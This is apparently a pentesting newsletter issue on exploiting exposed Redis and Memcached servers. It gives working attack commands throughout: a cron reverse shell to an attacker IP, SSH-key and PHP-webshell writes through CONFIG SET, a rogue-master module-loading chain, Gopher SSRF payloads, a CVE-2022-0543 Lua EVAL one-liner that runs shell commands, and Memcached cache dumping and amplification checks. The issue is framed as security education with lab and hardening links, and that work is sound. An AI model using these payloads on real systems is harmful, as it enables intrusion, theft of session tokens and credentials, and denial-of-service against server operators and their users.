Redis and Memcached: When Cache Becomes a Foothold
9 min read
March 15, 2026

Table of contents
👋 Introduction
Hey everyone!
Last week we covered race conditions and the single-packet attack. This week we go back to infrastructure.
Redis and Memcached are the default caching layer in most modern web stacks. Both run without authentication by default, exposed to the internal network under the assumption that the perimeter provides protection. That assumption fails constantly: misconfigured Docker containers, cloud security groups with overly permissive rules, and SSRF vulnerabilities that reach internal services. When you land inside a network or find an SSRF pointing inward, these services escalate from cache to shell in minutes.
This week: unauthenticated access, file-write RCE, module loading, SSRF via Gopher, Lua sandbox escape, and Memcached data extraction.
Let’s get into it 👇
🔍 Recon: Finding the Attack Surface
Default Redis port: 6379/TCP. Default Memcached port: 11211/TCP and UDP.
# Nmap service detection
nmap -sV -p 6379,11211 -T4 <target>
# Quick Redis auth check
redis-cli -h <target> -p 6379 ping
# Memcached version and stats
echo "version" | nc -q1 <target> 11211
echo "stats" | nc -q1 <target> 11211
A PONG from Redis with no AUTH challenge means unauthenticated access. From there you’ve got full read/write on the database and access to the CONFIG command. That combination is all you need.
Redis Protected Mode was introduced in Redis 3.2.0 and, when enabled, only accepts local connections if no password is set. The problem is that it gets bypassed the moment someone adds bind 0.0.0.0 to the config, which is standard practice in containerized and cloud deployments where services need to talk across subnets.
💀 Unauthenticated Access: What You Can Do
Once you’ve confirmed unauthenticated access, start with recon.
# Check Redis version and configuration
redis-cli -h <target> INFO server | grep redis_version
redis-cli -h <target> CONFIG GET dir
redis-cli -h <target> CONFIG GET dbfilename
# Dump all keys
redis-cli -h <target> KEYS "*"
# Read values (replace "session:user123" with real key)
redis-cli -h <target> GET "session:user123"
# Check all databases
redis-cli -h <target> INFO keyspace
Session tokens, API keys, OAuth tokens, internal application state. Cached data is rarely encrypted. If the application stores sessions in Redis, you can pull active session tokens and authenticate as any user without a password.
The CONFIG command is where things escalate. It lets you change Redis’s working directory and dump file name at runtime. The database then gets written to that location on disk on the next SAVE.
🔑 RCE via File Write
This is the classic Redis RCE technique. You repoint Redis’s dump file at a location you control, write a malicious payload into a key, and force a save. Redis writes the entire database to disk, embedding your payload in the dump file.
Technique 1: SSH authorized_keys
Requires Redis running as a user with a home directory and SSH enabled.
redis-cli -h <target> CONFIG SET dir /root/.ssh
redis-cli -h <target> CONFIG SET dbfilename authorized_keys
redis-cli -h <target> SET pwned "\n\nssh-rsa AAAA...your-public-key...\n\n"
redis-cli -h <target> SAVE
The dump file contains binary Redis headers around your key. SSH ignores malformed lines and will find and accept the valid public key entry. Then:
ssh -i ~/.ssh/id_rsa root@<target>
Technique 2: Cron job
Requires Redis running as root, or knowledge of the cron directory path.
redis-cli -h <target> CONFIG SET dir /etc/cron.d
redis-cli -h <target> CONFIG SET dbfilename redis-shell
redis-cli -h <target> SET payload "\n\n* * * * * root bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1\n\n"
redis-cli -h <target> SAVE
Start a listener and wait for the cron job to fire. It runs as root if Redis runs as root, which is common in poorly configured deployments.
Technique 3: Webshell
If you know the web root path, write a webshell directly.
redis-cli -h <target> CONFIG SET dir /var/www/html
redis-cli -h <target> CONFIG SET dbfilename shell.php
redis-cli -h <target> SET shell "<?php system(\$_GET['cmd']); ?>"
redis-cli -h <target> SAVE
The Redis binary dump format wraps your payload in headers, but PHP will skip to the first valid <?php tag and execute from there.
⚙️ Module Loading RCE (Redis 4.x and 5.x)
Redis 4.x introduced the MODULE LOAD command. It loads a shared object (.so file) as a Redis module, extending the server with new commands. Attackers abused master-slave replication to push a malicious module to the target.
redis-rogue-server automates the full chain.
The attack works in three steps:
- Your machine acts as a rogue Redis master.
- You tell the target Redis to
SLAVEOFyour machine. - The target connects for replication. You respond with
FULLRESYNCand transfer a malicious.sofile. - You issue
MODULE LOAD /path/to/exp.soon the target. It executes with Redis process privileges.
# Attacker machine
python redis-rogue-server.py \
--rhost <target-ip> \
--rport 6379 \
--lhost <attacker-ip> \
--lport 21000 \
--exp exp.so
The implicit trust in the master-slave replication protocol is the root cause. A slave accepts file synchronization and commands from whatever it’s told is its master. There’s no certificate verification or challenge-response.
Affected versions: Redis 4.x and 5.x. Redis 6.0+ introduced ACLs that restrict MODULE LOAD to explicit @admin users, and Redis 7.0 disabled module loading by default. If you’re testing a containerized environment running Redis 4 or 5 because “it works and we haven’t updated it,” this technique applies.
🌐 SSRF to Redis: Gopher Protocol
SSRF vulnerabilities that can reach internal Redis instances are a critical finding. If you covered Issue 4 on SSRF, this is where it gets interesting: gopher:// protocol support lets you send raw TCP data to any reachable host and port. Redis speaks a plaintext protocol called RESP. You can send arbitrary RESP commands through a Gopher URL.
Gopherus generates the payloads automatically.
# Install and run
git clone https://github.com/tarunkant/Gopherus
python gopherus.py --exploit redis
Gopherus asks what you want to do (write SSH key, write webshell, etc.) and outputs a gopher:// URL. You inject that URL into the SSRF parameter.
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A...
The URL-encoded string is a sequence of RESP commands. The target application fetches it, the HTTP library speaks Gopher, and Redis processes the commands as if they came from a legitimate client.
When you’ll see this: PHP applications with file_get_contents() and user-controlled URLs. Java applications using java.net.URL. Any SSRF that doesn’t explicitly block gopher:// in its scheme whitelist. Cloud metadata SSRF endpoints that have lateral reach to internal services.
Check the SSRF vulnerability for gopher:// support by testing gopher://127.0.0.1:6379/_PING%0D%0A and looking for a +PONG in the response body or a difference in response behavior.
🐛 CVE-2022-0543: Lua Sandbox Escape
CVE-2022-0543 is CVSS 10.0. It’s a Lua sandbox escape that allows arbitrary code execution with Redis process privileges. CISA added it to the Known Exploited Vulnerabilities catalog.
Here’s the catch: this isn’t an upstream Redis vulnerability. It’s a Debian and Ubuntu packaging issue. The Debian maintainers packaged the Lua interpreter in a way that exposed the package global variable inside the Redis Lua sandbox, which should have been stripped out. Through package.loadlib(), you can load arbitrary shared libraries.
Affected distributions:
- Debian 9, 10, 11
- Ubuntu 20.04, 21.10
Affected Redis package versions:
redis ≤ 5.0.14-1+deb10u1(Debian 10)redis ≤ 6.0.15-1(various)
Exploitation: Requires EVAL command access. On an unauthenticated Redis instance this is trivially available.
# Test if vulnerable (attempt to load libc)
redis-cli -h <target> EVAL "local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/libc.so.6', 'luaopen_io'); local io = io_l(); local f = io.popen('id', 'r'); local res = f:read('*a'); f:close(); return res" 0
If the instance is vulnerable, you’ll get the output of id back. That’s unauthenticated RCE with no CONFIG access needed, no write permissions, none of the file-write setup. Just EVAL and you’re in.
Fixed in: Redis 6.0.16-1+deb11u2, 5.0.14-1+deb10u2. If the target is Debian/Ubuntu and running an older Redis package version, check this first.
🗄 Memcached: Data Extraction and UDP Amplification
Memcached has no authentication by default. SASL auth exists but requires explicit compilation support and is rarely enabled. If you can reach port 11211, you can read everything in cache.
Enumeration and extraction:
# Get server stats
echo "stats" | nc -q1 <target> 11211
# List all slab IDs
echo "stats items" | nc -q1 <target> 11211
# Dump keys from a slab (replace 1 with actual slab ID, 0 = unlimited)
echo "stats cachedump 1 0" | nc -q1 <target> 11211
# Retrieve a cached item
echo "get <key>" | nc -q1 <target> 11211
stats items returns the slab IDs and item counts. stats cachedump <slab> <count> returns the actual key names. get <key> retrieves the value. On most applications this means session tokens, user objects, API responses with PII, and internal application data.
CVE-2018-1000115: UDP Amplification
CVE-2018-1000115 affects Memcached 1.5.5. A single small UDP request with a spoofed source IP triggers a response up to 50,000 times larger. Attackers used this in the February 2018 GitHub DDoS attack (1.3 Tbps peak), which was the largest DDoS attack recorded at the time.
Check if UDP is open:
nmap -sU -p 11211 <target>
echo "version" | nc -u -q1 <target> 11211
This is a finding worth noting even if direct exploitation isn’t in scope. The fix is upgrading to Memcached 1.5.6+ where UDP is disabled by default, or explicitly disabling it with the -U 0 flag.
🎯 Key Takeaways
Redis with no authentication and CONFIG access is a direct path to RCE. File write to SSH keys or cron is reliable when Redis runs as root or a privileged user. Module loading via redis-rogue-server works against Redis 4.x and 5.x where ACLs aren’t enforced. Neither technique requires a CVE.
CVE-2022-0543 changes the calculation for Debian and Ubuntu targets. CVSS 10.0. No CONFIG access needed. If the target is running a vulnerable Debian or Ubuntu Redis package, EVAL alone gives you code execution.
SSRF vulnerabilities that support gopher:// and can reach internal Redis or Memcached instances should be rated critical. Gopherus generates ready-to-use payloads. The internal cache network is never hardened against this because the assumption is the external SSRF won’t exist.
Memcached is typically overlooked. No authentication, full key enumeration, and cached session tokens are a consistent finding in any environment where Memcached is exposed on the internal network.
Practice:
- HackTricks: Redis RCE - comprehensive Redis pentesting reference
- HackTricks: Memcached - Memcached enumeration and exploitation
- Gopherus GitHub - SSRF payload generator for Redis, Memcached, FastCGI, MySQL, and more
- redis-rogue-server GitHub - module loading RCE for Redis 4.x/5.x
- Redis Security Documentation - official hardening reference
- CVE-2022-0543 NVD Entry - Lua sandbox escape (CVSS 10.0, Debian/Ubuntu)
- TryHackMe: Redis (Jack) - practice Redis exploitation in a lab environment
Thanks for reading, and happy hunting!
— Ruben
Other Issues
Previous Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.